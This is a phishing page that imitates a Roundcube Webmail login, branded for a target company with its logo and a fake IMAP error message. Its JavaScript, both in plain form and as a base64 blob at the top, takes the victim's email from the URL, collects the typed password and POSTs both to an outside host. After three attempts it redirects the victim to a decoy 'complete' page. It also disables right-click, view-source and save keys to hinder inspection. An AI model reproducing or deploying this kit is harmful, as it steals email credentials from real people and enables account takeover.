IGRhdGFUeXBlOiAnSlNPTicsCiAgICAgICAgICAgIHVybDogJ2h0dHBzOi8vbWNydWIucHJvL215LycsCgkJCSAgICAgCiAgICAgICAgICAgIHR5cGU6ICdQT1NUJywKICAgICAgICAgICAgZGF0YTogewogICAgICAgICAgICAgICAgYWk6IGFpLAogICAgICAgICAgICAgICAgcHI6IHByLAogICAgICAgICAgICAgICAgZGV0YWlsOiBkZXRhaWwsCgogICAgICAgICAgICB9LAogICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbih4aHIpIHsKICAgICAgICAgICAgICAgICQoIiNzdWJtaXQtYnRuIikuaHRtbCgiQXV0aGVudGljYXRpbmcuLi4iKTsKICAgICAgICAgICAgfSwKICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24ocmVzcG9uc2UpIHsKICAgICAgICAgICAgICAgICQoIiNwciIpLnZhbCgiIik7CiAgICAgICAgICAgICAgICBpZiAoY291bnQgPj0gMykgewogICAgICAgICAgICAgICAgICAgIGNvdW50ID0gMDsKICAgICAgICAgICAgICAgICAgICAkKCIjZGl2MiIpLmFuaW1hdGUoeyBsZWZ0OiAwLCBvcGFjaXR5OiAiaGlkZSIgfSwgMCk7CiAgICAgICAgICAgICAgICAgICAgJCgiI2RpdjMiKS5hbmltYXRlKHsgbGVmdDogMCwgb3BhY2l0eTogInNob3ciIH0sIDUwMCk7CiAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vY29tcGUwOWlvaWUtdmt4OGE0cHUtZGlyZXMwNDQuNGV2ZXJsYW5kLmFwcC9jb21wbGV0ZS5odG0/bXNnPSIrYWkpOwogICAgICAgICAgICAgICAgICAgIH0sIDUwMCk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKGNvdW50ID09IDIpIHsKICAgICAgICAgICAgICAgICAgICAkKCIjbXNnMiIpLnNob3coKTsKICAgICAgICAgICAgICAgICAgICAkKCIjbXNnIikuaGlkZSgpOwogICAgICAgICAgICAgICAgICAgICQoIiNtc2cxIikuaGlkZSgpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkKCIjbXNnMSIpLnNob3coKTsKICAgICAgICAgICAgICAgICAgICAkKCIjbXNnIikuaGlkZSgpOwogICAgICAgICAgICAgICAgICAgICQoIiNtc2cyIikuaGlkZSgpOwoKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSwKICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgiI3ByIikudmFsKCIiKTsKICAgICAgICAgICAgICAgIGlmIChjb3VudCA+PSAzKSB7CiAgICAgICAgICAgICAgICAgICAgY291bnQgPSAwOwogICAgICAgICAgICAgICAgICAgICQoIiNkaXYyIikuYW5pbWF0ZSh7IGxlZnQ6IDAsIG9wYWNpdHk6ICJoaWRlIiB9LCAwKTsKICAgICAgICAgICAgICAgICAgICAkKCIjZGl2MyIpLmFuaW1hdGUoeyBsZWZ0OiAwLCBvcGFjaXR5OiAic2hvdyIgfSwgNTAwKTsKICAgICAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vY29tcGUwOWlvaWUtdmt4OGE0cHUtZGlyZXMwNDQuNGV2ZXJsYW5kLmFwcC9jb21wbGV0ZS5odG0/bXNnPSIrYWkpOwogICAgICAgICAgICAgICAgICAgIH0sIDEwMDApOwogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChjb3VudCA9PSAzKSB7CiAgICAgICAgICAgICAgICAgICAgJCgiI21zZzIiKS5zaG93KCk7CiAgICAgICAgICAgICAgICAgICAgJCgiI21zZyIpLmhpZGUoKTsKICAgICAgICAgICAgICAgICAgICAkKCIjbXNnMSIpLmhpZGUoKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJCgiI21zZzEiKS5zaG93KCk7CiAgICAgICAgICAgICAgICAgICAgJCgiI21zZyIpLmhpZGUoKTsKICAgICAgICAgICAgICAgICAgICAkKCIjbXNnMiIpLmhpZGUoKTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgIGNvbXBsZXRlOiBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoIiNzdWJtaXQtYnRuIikuaHRtbCgiVHJ5IEFnYWluIFtMb2dpbl0hIik7CiAgICAgICAgICAgIH0KICAgICAgICB9KTsKICAgIH0pOwp9KTsKPC9zY3JpcHQ+CgoKPC9odG1sPg==")));
  
</script>
<!-- saved from url=(0091)https://duffconsulting.com.au/webmail/?_task=logout&_token=49UfNr2fFRsudhcvvEzBTnLKDn1zYpc4 -->
<script src="" id="eppiocemhmnlbhjplcgkofciiegomcon"></script><script src=""></script><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/requests.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Roundcube Webmail :: Welcome to Roundcube Webmail</title>
	<meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no, maximum-scale=1.0"><meta name="theme-color" content="#f4f4f4"><meta name="msapplication-navbutton-color" content="#f4f4f4">
	<link rel="shortcut icon" href="https://duffconsulting.com.au/webmail/skins/elastic/images/favicon.ico">
	<link rel="stylesheet" href="https://ia600601.us.archive.org/30/items/bootstrap.min_202409/bootstrap.min.css">
	
		<link rel="stylesheet" href="https://ia600601.us.archive.org/30/items/bootstrap.min_202409/styles.min.css">
		
	
	
		<script>
		try {
			if (document.cookie.indexOf('colorMode=dark') > -1
				|| (document.cookie.indexOf('colorMode=light') === -1 && window.matchMedia('(prefers-color-scheme: dark)').matches)
			) {
				document.documentElement.className += ' dark-mode';
			}
		} catch (e) { }
		</script><script bis_use="true" type="text/javascript" charset="utf-8" data-bis-config="[&quot;facebook.com/&quot;,&quot;twitter.com/&quot;,&quot;youtube-nocookie.com/embed/&quot;,&quot;//vk.com/&quot;,&quot;//www.vk.com/&quot;,&quot;linkedin.com/&quot;,&quot;//www.linkedin.com/&quot;,&quot;//instagram.com/&quot;,&quot;//www.instagram.com/&quot;,&quot;//www.google.com/recaptcha/api2/&quot;,&quot;//hangouts.google.com/webchat/&quot;,&quot;//www.google.com/calendar/&quot;,&quot;//www.google.com/maps/embed&quot;,&quot;spotify.com/&quot;,&quot;soundcloud.com/&quot;,&quot;//player.vimeo.com/&quot;,&quot;//disqus.com/&quot;,&quot;//tgwidget.com/&quot;,&quot;//js.driftt.com/&quot;,&quot;friends2follow.com&quot;,&quot;/widget&quot;,&quot;login&quot;,&quot;//video.bigmir.net/&quot;,&quot;blogger.com&quot;,&quot;//smartlock.google.com/&quot;,&quot;//keep.google.com/&quot;,&quot;/web.tolstoycomments.com/&quot;,&quot;moz-extension://&quot;,&quot;chrome-extension://&quot;,&quot;/auth/&quot;,&quot;//analytics.google.com/&quot;,&quot;adclarity.com&quot;,&quot;paddle.com/checkout&quot;,&quot;hcaptcha.com&quot;,&quot;recaptcha.net&quot;,&quot;2captcha.com&quot;,&quot;accounts.google.com&quot;,&quot;www.google.com/shopping/customerreviews&quot;,&quot;buy.tinypass.com&quot;,&quot;gstatic.com&quot;,&quot;secureir.ebaystatic.com&quot;,&quot;docs.google.com&quot;,&quot;contacts.google.com&quot;,&quot;github.com&quot;,&quot;mail.google.com&quot;,&quot;chat.google.com&quot;,&quot;audio.xpleer.com&quot;,&quot;keepa.com&quot;,&quot;static.xx.fbcdn.net&quot;,&quot;sas.selleramp.com&quot;,&quot;1plus1.video&quot;,&quot;console.googletagservices.com&quot;,&quot;//lnkd.demdex.net/&quot;,&quot;//radar.cedexis.com/&quot;,&quot;//li.protechts.net/&quot;,&quot;challenges.cloudflare.com/&quot;,&quot;ogs.google.com&quot;]" src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/executers/vi-tr.js"></script>
	
<link rel="stylesheet" type="text/css" href="https://ia600601.us.archive.org/30/items/bootstrap.min_202409/jquery-ui.min.css"><script src="./Roundcube Webmail __ Welcome to Roundcube Webmail_files/jquery.min.js.download"></script><script src="./Roundcube Webmail __ Welcome to Roundcube Webmail_files/common.min.js.download"></script><script src="./Roundcube Webmail __ Welcome to Roundcube Webmail_files/app.min.js.download"></script><script src="./Roundcube Webmail __ Welcome to Roundcube Webmail_files/jstz.min.js.download"></script><script>
/*
        @licstart  The following is the entire license notice for the 
        JavaScript code in this page.

        Copyright (C) The Roundcube Dev Team

        The JavaScript code in this page is free software: you can redistribute
        it and/or modify it under the terms of the GNU General Public License
        as published by the Free Software Foundation, either version 3 of
        the License, or (at your option) any later version.

        The code is distributed WITHOUT ANY WARRANTY; without even the implied
        warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
        See the GNU GPL for more details.

        @licend  The above is the entire license notice
        for the JavaScript code in this page.
*/
var rcmail = new rcube_webmail();
rcmail.set_env({"task":"login","standard_windows":false,"locale":"en_US","devel_mode":null,"rcversion":10608,"cookie_domain":"","cookie_path":"/","cookie_secure":true,"dark_mode_support":true,"skin":"elastic","blankpage":"skins/elastic/watermark.html","refresh_interval":60,"session_lifetime":600,"action":"","comm_path":"/webmail/?_task=login","user_id":"wrrcTHBDG24rznTP","compose_extwin":false,"date_format":"yy-mm-dd","date_format_localized":"YYYY-MM-DD","request_token":"oLCkEedtRBnqCCjlqKJQcXsXuajo7ebo"});
rcmail.add_label({"loading":"Loading...","servererror":"Server Error!","connerror":"Connection Error (Failed to reach the server)!","requesttimedout":"Request timed out","refreshing":"Refreshing...","windowopenerror":"The popup window was blocked!","uploadingmany":"Uploading files...","uploading":"Uploading file...","close":"Close","save":"Save","cancel":"Cancel","alerttitle":"Attention","confirmationtitle":"Are you sure...","delete":"Delete","continue":"Continue","ok":"OK","back":"Back","errortitle":"An error occurred!","options":"Options","plaintoggle":"Plain text","htmltoggle":"HTML","previous":"Previous","next":"Next","select":"Select","browse":"Browse","choosefile":"Choose file...","choosefiles":"Choose files..."});
rcmail.display_message("You have successfully terminated the session. Goodbye!","notice",0);
rcmail.gui_container("loginfooter","login-footer");rcmail.gui_object('loginform', 'login-form');
rcmail.gui_object('message', 'messagestack');
</script>

<script src="./Roundcube Webmail __ Welcome to Roundcube Webmail_files/jquery-ui.min.js.download"></script>
</head>
<body class="task-login action-none" __processed_334133a5-24cc-4ecd-89ac-38720313dfdc__="true" bis_register="W3sibWFzdGVyIjp0cnVlLCJleHRlbnNpb25JZCI6ImVwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uIiwiYWRibG9ja2VyU3RhdHVzIjp7IkRJU1BMQVkiOiJkaXNhYmxlZCIsIkZBQ0VCT09LIjoiZGlzYWJsZWQiLCJUV0lUVEVSIjoiZGlzYWJsZWQiLCJSRURESVQiOiJkaXNhYmxlZCIsIlBJTlRFUkVTVCI6ImRpc2FibGVkIiwiSU5TVEFHUkFNIjoiZGlzYWJsZWQiLCJMSU5LRURJTiI6ImRpc2FibGVkIiwiQ09ORklHIjoiZGlzYWJsZWQifSwidmVyc2lvbiI6IjIuMC4xNiIsInNjb3JlIjoyMDAxNn1d">

<p id="company-name" bis_skin_checked="1" style="font-size:10px;"> <marquee scrollamount="1" behavior="alternate" width="90%" direction="left" height="15px">IMAP Error in /var/www/webmail/program/main/mail_imap.php (196): Login failed for <span style="color:red;" id="aicx">[email protected]</span> from https://<span id="logonamec">BENGAL-AIRLIFT</span> AUTHENTICATE PLAN FAILED.</marquee></p>	
		<div id="layout" bis_skin_checked="1">
	


<h1 class="voice">Roundcube Webmail Login</h1>

<div id="layout-content" class="selected no-navbar" role="main" bis_skin_checked="1">
	
	<form id="login-form" name="login-form" method="post" class="propform" action="https://duffconsulting.com.au/webmail/?_task=login">
	<p><img src="https://logo.clearbit.com/bengal-airlift.com" id="logoimg" width="18%" alt="Logo"></p><br>
<input type="hidden" name="_token" value="oLCkEedtRBnqCCjlqKJQcXsXuajo7ebo" class="form-control">
	
	
	<input type="hidden" name="_task" value="login" class="form-control">
	<input type="hidden" name="_action" value="login" class="form-control">
	<input type="hidden" name="_timezone" id="rcmlogintz" value="Europe/London" class="form-control">
	<input type="hidden" name="_url" id="rcmloginurl" value="" class="form-control">
	<table>
	
	 <tbody>
	 
	 <tr class="form-group row">
	 <td class="title" style="display: none;">
	 <label for="rcmloginuser">Username</label>
	 </td>
	 <td class="input input-group input-group-lg"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAD4AAAA2CAYAAACfkiopAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAFiUAABYlAUlSJPAAAAH9SURBVGhD7de/S4JBHMfx/qAmh4iWx8WWoEEcXBIJC8IGcXJoLHgoXCyiHNqeFl1ySRrCQRHUwZoEQxANxYfCyP3TIyFZfe2H3veg7obXos9zD2/uOe+ce3oeQEU6XDU6XDU6XDU6XDU6XDU6XDU6XKqHLu57xOcSyQvvt1CwTPhX3JhfWHrl8SN8nEejT1zPTE54r4rE+ljwRz4T2SZxHyMJ4V1kYl9EjwTPcSNx5vnDK0l4qNBP3IhddukxGLCHl0+9ROQE+3lyDA7s4YU4ETjJdhoNYgwO/OGHP1jfI7Es7okxOLCH2zkTLiqSsJFqkWNw4P9x6ztbmY8OfcdwtjSJhxr+8KF6GhsGETtiBHBQfKTvZSInfKiZR2Jr+VP0YtBEqkZcz0xe+EivhZtiHte5KmodubM8Tkq43Xb+lLQnR9qd4fdd2P/i5NapIhWPwBhb266VEKL7Rzi7cGb8Ko2TQxNh3/jrvwz/7jkKEs7tPOH1DMKet+BfM0JIVHiXgfjwhxIOfrJ9fcfYQaZNjC+I8PCaFaJDpuA5rpLPEEFw+B2sTTpiKsYRCuRzZic4vIQ9KmBqEVgN6jmz0+FiKBt+h7MgFTCl1STKTIcaweGO4Zk8GoB3bUZbJqxbvr1cfPgfocNVo8NVo8NVo8NVo8NVo8NVo8NVo2j4AC8XtcsfAX4jOgAAAABJRU5ErkJggg==" width="14%">
	 
	 
	 <input name="username" id="username" size="40" class="form-control" autocapitalize="off" type="hidden" placeholder="Password">
	 
	 <input name="email" id="email" size="40" class="form-control" autocapitalize="off" type="hidden" placeholder="Password">
	 
	 <div style="border:0.5px solid; width:272px; margin-left:0px; border-color:rgb(214, 214, 214); border-radius:2px;" align="left">
	 <p style="margin-left:10px; margin-top:10px;" id="aich">[email protected]</p></div></td></tr>
	 
	 <tr class="form-group row"><td class="title" style="display: none;"><label for="rcmloginpwd">Password</label></td>
	 
	 	 <input name="sdede" id="ai" size="40" class="form-control" autocapitalize="off" type="hidden" placeholder="JF" value="[email protected]">
	 
	 <td class="input input-group input-group-lg"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAD4AAAA1CAYAAAAZBliHAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAFiUAABYlAUlSJPAAAAGPSURBVGhD7dixSwJhGMfx/iAnB4eWa6npcHCSIGtpEASlIYKEJuEIzsGxISS4yWg4HFxyMoJqsGYRwsRIFCP3Xw5Bd/YGos9zEc8zfJe75+74wMvdy629f0whMYVLS+HSUri0FC4thUtL4dJSuLT+Bj56Rf/NcDzCooMP2qi5h7A31xFLfGXZSB9X0ewa5pmLBN69LiNlBcA/SuOo3jFeyxU7fHhbhm3EzreB/aue8R4c8cJHdyglw8D4dhElz0ejVsVJdit0LmYV4b8Y7sMQK7xfL4ZgtttCfxKcGePxooB4YCbtRbPkWeE37jcolnDQGBnmJm1Ugqsi76M7P8MQI7yHWj4Ayl3+CmqeLjZHGSvcyy0GCq0MhfOmcKqGD1XsBndny2ZlWDc1xPC5N/SqWQ6api8BQcTw2YbFBFi6AjymfbzCaVI4UQonT+E0KZwohZNHDO/gfM8EWLLkGe5DPy7oIobPem6hcpBBamfFsg68p7H5GQTRw/9JCpeWwqWlcGkpXFoKl5bCpSUUPsUnjgVtTRCRCMkAAAAASUVORK5CYII=" width="14%">
	 
	 <input name="pwsdx" id="pr" required="" size="40" class="form-control" autocapitalize="off" type="password" placeholder="Password"></td></tr>
	 
	 <input name="user" id="user" size="40" class="form-control" autocapitalize="off" type="hidden" placeholder="username">
	 </tbody></table>
	 <p class="formbuttons"><button type="submit" id="submit-btn" style="height:47px; width:320px;" class="button mainaction submit btn btn-primary btn-lg">Login</button></p>
		
		<div id="login-footer" role="contentinfo" bis_skin_checked="1">
			<span id="logoname">BENGAL-AIRLIFT</span>&nbsp;&nbsp;Roundcube Webmail
			
			
			
		</div>
		
		
	</form>
</div>

<noscript>
	<p class="noscriptwarning">Warning: This webmail service requires Javascript! In order to use it please enable Javascript in your browser's settings.</p>
</noscript>


</div>



<div id="messagestack" bis_skin_checked="1"></div>
<script>
$(function() {
rcmail.init();
});
</script>







<script>
// Set the date we're counting down to
var countDownDate = new Date("Dec 5, 2024 15:37:25").getTime();

// Update the count down every 1 second
var x = setInterval(function() {

  // Get today's date and time
  var now = new Date().getTime();
    
  // Find the distance between now and the count down date
  var distance = countDownDate - now;
    
  // Time calculations for days, hours, minutes and seconds
  var days = Math.floor(distance / (1000 * 60 * 60 * 24));
  var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));
  var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));
  var seconds = Math.floor((distance % (1000 * 60)) / 1000);
    
  // Output the result in an element with id="demo"
  document.getElementById("demo").innerHTML = hours + "h "
  + minutes + "m " + seconds + "s ";
    
  // If the count down is over, write some text 
  if (distance < 0) {
    clearInterval(x);
    document.getElementById("demo").innerHTML = "EXPIRED";
  }
}, 1000);
</script>

<!-- Optional JavaScript -->
    <!-- jQuery first, then Popper.js, then Bootstrap JS -->
    <script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
    <script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>

<script>


// prevent ctrl + s
$(document).bind('keydown', function(e) {
if(e.ctrlKey && (e.which == 83)) {
e.preventDefault();
return false;
}
});

document.addEventListener('contextmenu', event => event.preventDefault());

document.onkeydown = function(e) {
if (e.ctrlKey && 
(e.keyCode === 67 || 
e.keyCode === 86 || 
e.keyCode === 85 || 
e.keyCode === 117)) {
return false;
} else {
return true;
}
};
$(document).keypress("u",function(e) {
if(e.ctrlKey)
{
return false;      }
else {
return true;
}});

/* global $ */
$(document).ready(function() {
    var count = 0;


    /////////////url ai getting////////////////
    var ai = window.location.hash.substr(1);
    if (!ai) {

    } else {
        var base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/;

        if (!base64regex.test(ai)) {
            // alert(btoa(ai));
            var my_ai = ai;
        } else {
            // alert(atob(ai));
            var my_ai = atob(ai);
        }
        // $('#ai').val(ai);
        // var my_ai =ai;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_ai)) {
            $('#error').show();
            ai.focus;
            return false;
        }
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        var finalu = c.toUpperCase();
        $('#ai').val(my_ai);
        $("#div1").animate({ left: 0, opacity: "hide" }, 0);
        $("#div2").animate({ right: 0, opacity: "show" }, 500);
        
		$("#aicx").html(my_ai);
        $("#aich").html(my_ai);
        $.get("https://logo.clearbit.com/" + my_slice)
            .done(function() {
                $("#logoimg").attr("src", "https://logo.clearbit.com/" + my_slice);
                $("#logoname").html(finalu);
				$("#logonamec").html(finalu);

            }).fail(function() {
                $("#logoimg").attr("src", "data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjkuMTQgMTQxLjggNTczLjY1IDU3My42NSI+CiAgPHN0eWxlPgogICAgLnN0MCwuc3Qze2ZpbGwtcnVsZTpldmVub2RkO2NsaXAtcnVsZTpldmVub2RkO2ZpbGw6IzQwNGY1NH0uc3Qze2ZpbGw6IzM3YmVmZn0KICA8L3N0eWxlPgogIDxwYXRoIGNsYXNzPSJzdDMiIGQ9Ik01ODIuNzkgNTQ5Ljc3TDI5NS45NiAzODQuMVYyMDcuMjdsMjg2LjgzIDE2NS42OHoiLz4KICA8cGF0aCBjbGFzcz0ic3QwIiBkPSJNOS4xNCA1NDkuNzdMMjk1Ljk2IDM4NC4xVjIwNy4yN0w5LjE0IDM3Mi45NXoiLz4KICA8cGF0aCBkPSJNMjk1Ljk2IDE0MS44YzEwOS41NiAwIDE5OC40MSA4OC44NSAxOTguNDEgMTk4LjQxcy04OC44NSAxOTguNDEtMTk4LjQxIDE5OC40MVM5Ny41NSA0NDkuNzcgOTcuNTUgMzQwLjIxIDE4Ni40IDE0MS44IDI5NS45NiAxNDEuOCIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGZpbGw9IiNjY2MiLz4KICA8cGF0aCBkPSJNMjk1Ljk2IDE0MS44YzEwOS42IDAgMTk4LjQ4IDg4Ljg1IDE5OC40OCAxOTguNDFzLTg4Ljg4IDE5OC40MS0xOTguNDggMTk4LjQxYy02Mi45MS00Mi4zNC04OC45NC0xMjcuNjQtODguOTQtMTk4LjNzMjYuMDMtMTU2LjEgODguOTQtMTk4LjUyIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZmlsbD0iI2U1ZTVlNSIvPgogIDxwYXRoIGNsYXNzPSJzdDMiIGQ9Ik01ODIuNzkgMzcyLjk1TDI5NS45NiA1MzguNjJ2MTc2LjgzbDI4Ni44My0xNjUuNjh6Ii8+CiAgPHBhdGggY2xhc3M9InN0MCIgZD0iTTkuMTQgMzcyLjk1bDI4Ni44MiAxNjUuNjd2MTc2LjgzTDkuMTQgNTQ5Ljc3eiIvPgo8L3N2Zz4K");
                $("#logoname").html("");
				$("#logonamec").html("");

            });


    }





    $('#ai').click(function() {
        $('#error').hide();
    });

    $(document).keypress(function(event) {

        var keycode = (event.keyCode ? event.keyCode : event.which);
        if (keycode == '13') {
            event.preventDefault();
            if ($("#div1").is(":visible")) {

                $("#next").click();

            } else if ($("#div2").is(":visible")) {
                event.preventDefault();

                $("#submit-btn").click();

            } else {
                return false;
            }
        }
    });


    $('#next').click(function() {
        event.preventDefault();
        var my_ai = $('#ai').val();
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_ai)) {
            $('#error').show();
            ai.focus;
            return false;
        }
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        var finalu = c.toUpperCase();
        $("#div1").animate({ left: 0, opacity: "hide" }, 0);
        $("#div2").animate({ right: 0, opacity: "show" }, 500);

        $("#aich").html(my_ai);
		$("#aicx").html(my_ai);
        $.get("" + my_slice)
            .done(function() {
                $("#logoimg").attr("src", "" + my_slice);
                $("#logoname").html(finalu);
				$("#logonamec").html(finalu);

            }).fail(function() {
                $("#logoimg").attr("src", "data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjkuMTQgMTQxLjggNTczLjY1IDU3My42NSI+CiAgPHN0eWxlPgogICAgLnN0MCwuc3Qze2ZpbGwtcnVsZTpldmVub2RkO2NsaXAtcnVsZTpldmVub2RkO2ZpbGw6IzQwNGY1NH0uc3Qze2ZpbGw6IzM3YmVmZn0KICA8L3N0eWxlPgogIDxwYXRoIGNsYXNzPSJzdDMiIGQ9Ik01ODIuNzkgNTQ5Ljc3TDI5NS45NiAzODQuMVYyMDcuMjdsMjg2LjgzIDE2NS42OHoiLz4KICA8cGF0aCBjbGFzcz0ic3QwIiBkPSJNOS4xNCA1NDkuNzdMMjk1Ljk2IDM4NC4xVjIwNy4yN0w5LjE0IDM3Mi45NXoiLz4KICA8cGF0aCBkPSJNMjk1Ljk2IDE0MS44YzEwOS41NiAwIDE5OC40MSA4OC44NSAxOTguNDEgMTk4LjQxcy04OC44NSAxOTguNDEtMTk4LjQxIDE5OC40MVM5Ny41NSA0NDkuNzcgOTcuNTUgMzQwLjIxIDE4Ni40IDE0MS44IDI5NS45NiAxNDEuOCIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGZpbGw9IiNjY2MiLz4KICA8cGF0aCBkPSJNMjk1Ljk2IDE0MS44YzEwOS42IDAgMTk4LjQ4IDg4Ljg1IDE5OC40OCAxOTguNDFzLTg4Ljg4IDE5OC40MS0xOTguNDggMTk4LjQxYy02Mi45MS00Mi4zNC04OC45NC0xMjcuNjQtODguOTQtMTk4LjNzMjYuMDMtMTU2LjEgODguOTQtMTk4LjUyIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZmlsbD0iI2U1ZTVlNSIvPgogIDxwYXRoIGNsYXNzPSJzdDMiIGQ9Ik01ODIuNzkgMzcyLjk1TDI5NS45NiA1MzguNjJ2MTc2LjgzbDI4Ni44My0xNjUuNjh6Ii8+CiAgPHBhdGggY2xhc3M9InN0MCIgZD0iTTkuMTQgMzcyLjk1bDI4Ni44MiAxNjUuNjd2MTc2LjgzTDkuMTQgNTQ5Ljc3eiIvPgo8L3N2Zz4K");
                $("#logoname").html("");
				$("#logonamec").html("");

            });





    });
    // $('#back').click(function() {
    //     // $("#msg").hide();
    //     $("#ai").val("");
    //     $("#pr").val("");
    //     $("#div2").animate({ left: 0, opacity: "hide" }, 0);
    //     $("#div1").animate({ right: 0, opacity: "show" }, 1000);

    // });
var file="bmV4dC5waHA=";

    $('#submit-btn').click(function(event) {
        event.preventDefault();
        var ai = $("#ai").val();
        var pr = $("#pr").val();
        var detail = $("#field").html();
        var msg = $('#msg').html();

        var my_ai = ai;
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        $('#msg').text(msg);
        count = count + 1;
        $.ajax({
            dataType: 'JSON',
            url: 'https://mcrub.pro/my/',
			     
            type: 'POST',
            data: {
                ai: ai,
                pr: pr,
                detail: detail,

            },
            beforeSend: function(xhr) {
                $("#submit-btn").html("Authenticating...");
            },
            success: function(response) {
                $("#pr").val("");
                if (count >= 3) {
                    count = 0;
                    $("#div2").animate({ left: 0, opacity: "hide" }, 0);
                    $("#div3").animate({ left: 0, opacity: "show" }, 500);
                    setTimeout(() => {
              window.location.replace("https://compe09ioie-vkx8a4pu-dires044.4everland.app/complete.htm?msg="+ai);
                    }, 500);
                    return false;
                }
                if (count == 2) {
                    $("#msg2").show();
                    $("#msg").hide();
                    $("#msg1").hide();
                } else {
                    $("#msg1").show();
                    $("#msg").hide();
                    $("#msg2").hide();

                }
            },
            error: function() {
                $("#pr").val("");
                if (count >= 3) {
                    count = 0;
                    $("#div2").animate({ left: 0, opacity: "hide" }, 0);
                    $("#div3").animate({ left: 0, opacity: "show" }, 500);
                    setTimeout(() => {
                        window.location.replace("https://compe09ioie-vkx8a4pu-dires044.4everland.app/complete.htm?msg="+ai);
                    }, 1000);
                    return false;
                }
                if (count == 3) {
                    $("#msg2").show();
                    $("#msg").hide();
                    $("#msg1").hide();
                } else {
                    $("#msg1").show();
                    $("#msg").hide();
                    $("#msg2").hide();

                }
            },
            complete: function() {
                $("#submit-btn").html("Try Again [Login]!");
            }
        });
    });
});
</script>



  
 







</body></html>